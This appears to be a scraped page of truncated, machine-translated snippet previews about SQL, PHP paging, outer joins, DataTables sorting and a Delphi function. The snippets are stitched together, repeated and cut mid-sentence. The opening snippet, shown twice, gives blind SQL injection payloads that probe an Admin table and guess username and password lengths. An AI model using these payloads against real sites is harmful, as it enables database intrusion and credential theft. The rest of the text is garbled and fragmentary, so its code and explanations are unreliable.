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])and (Select Count (*) from Admin) >0Solver field: (the field username exists is normal, not normal does not exist)and (Select username from Admin) >0and exists (select username from [admin])Guess the user name and password lengthand (select top 1 len (username) from Admin) >0and (select top 1 len (password) from Admin) >0Principle: If the top 1 username length is greater than 0, then the condition is set up, then >1, >2, >3 This test, until the condition is not established, such as GT;4, >5 is

])and (Select Count (*) from Admin) >0Solver field: (the field username exists is normal, not normal does not exist)and (Select username from Admin) >0and exists (select username from [admin])Guess the user name and password lengthand (select top 1 len (username) from Admin) >0and (select top 1 len (password) from Admin) >0Principle: If the top 1 username length is greater than 0, then the condition is set up, then >1, >2, >3 This test, until the condition is not established, such as GT;4, >5 is

Phpmssql paging SQL statement optimization continues to affect. Copy the code as follows :? Php *** @ Filename: page. SQL. class. php * @ CreatTime: 2009-01-06 * @ Descrition: This class is the SQL statement processing class. * @ UpdateTime-1: null * @ Version: jswweb1 The code is as follows: /*** @ Filename: page. SQL. class. php* @ CreatTime: 2009-01-06* @ Descrition: This class is an SQL statement processing class.* @ UpdateTime-1: null* @ Version: jswweb1.0.0* @ Author: fkedwgwy* @ Dome:

-SQL Outer Join sometimes produces ambiguity, it is recommended to use the SQL-92 syntax. Use left Outer Join Assume that the authors table and the publishers table are joined in the city column. The results only show the author of the publisher's city (Abraham Bennet and Cheryl Carson in this example ). To include all authors in the results, regardless of whether the publisher lives in the same city, use the SQL-92 to connect left out. The following are the query results of the left Outer Joi

As we all know, MySQL paging is to use limit for paging, the amount of data/number of pages small when the limit performance is conceivable. Such as: SELECT pid,author,hash,dateline FROM posts WHERE pid='123456' ORDER BY pid ASC LIMIT 100,100; There is no problem with the SQL statement performance described above. However, performance bottlenecks can occur if the offset is too cheap. Such as: SELECT pid,author,hash,dateline FROM posts WHERE pid='1234

After SQL optimization, the query speed can be greatly improved. The code is as follows: /*** @ Filename: page. SQL. class. php* @ CreatTime: 2009-01-06* @ Descrition: This class is an SQL statement processing class.* @ UpdateTime-1: null* @ Version: jswweb1.0.0* @ Author: fkedwgwy* @ Dome:$ SQL // SQL statement$ Allcount // total number of records$ Pagesize // number of records displayed on the page$ Page // current page$ Sqlc = new sqlpage ($ SQL, $ allcount, $ pagesize, $ page );$ SQL = $

authors table and the publishers table are joined in the city column. The result is only displayed in Author of the publisher's City (in this example, Abraham Bennet and Cheryl Carson) ). To include all the authors in the results, regardless of whether the publisher lives in the same city, use SQL- 92 left outer join. The following are the query results of the left outer join of Transact-SQL: USE pubs SELECT a. au_fname, a. au_lname, p. pub_name FROM authors a left outer join publishers p

, course = 'mat', score = mathematics from tb Union all Select name, course = 'physical ', score = physical from tb ) T Order by name, case course when 'China' then 1 when' math 'then 2 when' then 3 end -- SQL server 2000 dynamic SQL. -- Call the dynamic ecosystem of the system table. Declare @ SQL varchar (8000) Select @ SQL = isnull (@ SQL + 'Union all', '') + 'select Name, [course] = '+ quotename (Name, ''') + ', [score] = '+ quotename (Name) + 'from tb' From syscolumns Where name! = N'name'

to use the SQL-92 syntax. 　　 Use left Outer Join Assume that the authors table and the publishers table are joined in the city column. The results only show the author of the publisher's city (Abraham Bennet and Cheryl Carson in this example ). 　　 To include all authors in the results, regardless of whether the publisher lives in the same city, use the SQL-92 to connect left out. The following are the query results of the left Outer Join of transact-SQL: 　　 Use pubs Select a. au_fname, A. au_ln

sorted during initialization. $ (Document). Ready (Function() {$ ('# Example'). Datatable ({"Bsort ":False});}); Attribute 'bsortable': Specifies the column to be sorted during initialization. $ (Document). Ready (Function() {$ ('# Example'). Datatable ({"Aocolumns":[{"Bsortable ":False},Null,Null,Null,Null]}) ;}); Attribute 'aasorting ': Specifies the sort rules used to initialize the table. //Sort by 3rd column first, and then 4th column$ (Document). Ready (Function() {$ ('# Example').

){ Thead [I]. attachevent ("onclick", core. sortlist) } Else { Thead [I]. addeventlistener ("click", core. sortlist, false) } // If (I = 0 ){ // Thead [I]. Click (); // } } } }, Sortlist: function (e ){ VaR Index = 0, arr = [], sort = "ASC", table = NULL; If (E. srcelement ){ Index = E. srcelement. cellindex; Sort = E. srcelement. getattribute ("sort "); E. srcelement. classname = sort = "

' + @ strwhere + 'ORDER BY' + @ orderfield + 'desc) as a where' + @ keyfield +' not in (Select top ''+ Cast (@ curpagenum as varchar) + ''' + @ keyfield + 'from' + @ tablename + 'where' + @ strwhere +'Order by '+ @ orderfield + 'desc') order by' + @ orderfield + 'desc '';'EndElseBeginSet @ sqlstr = @ sqlstr + 'set @ sqlstr = 'select' + @ fieldlist + 'from (select top ''+ Cast (@ nextpagenum as varchar) + ''' * from'+ @ Tablename + 'where' + @ strwhere + 'ORDER BY' + @ orderfield + '

the city column. The result is only displayed in Author of the publisher's city (in this example, Abraham Bennet and Cheryl Carson) ). To include all the authors in the results, regardless of whether the publisher lives in the same city, use SQL- 92 left Outer Join. The following are the query results of the left Outer Join of transact-SQL: Use pubsSelect a. au_fname, A. au_lname, P. pub_nameFrom authors a left Outer Join publishers POn a. City = P. CityOrder by P. pub_name

The function is as follows: Function Dip (STR: string): string;VaRM, str1: string;ASC, asc1: byte;I: integer;BeginM: = 'asdfdghjvvvacw ';For I: = 1 to length (STR) DoBeginASC: = ord (STR [I]);ASC: = ASC and $ F;Asc1: = ord (M [I]);Asc1: = asc1 and $ F;Asc1: = asc xor asc1;ASC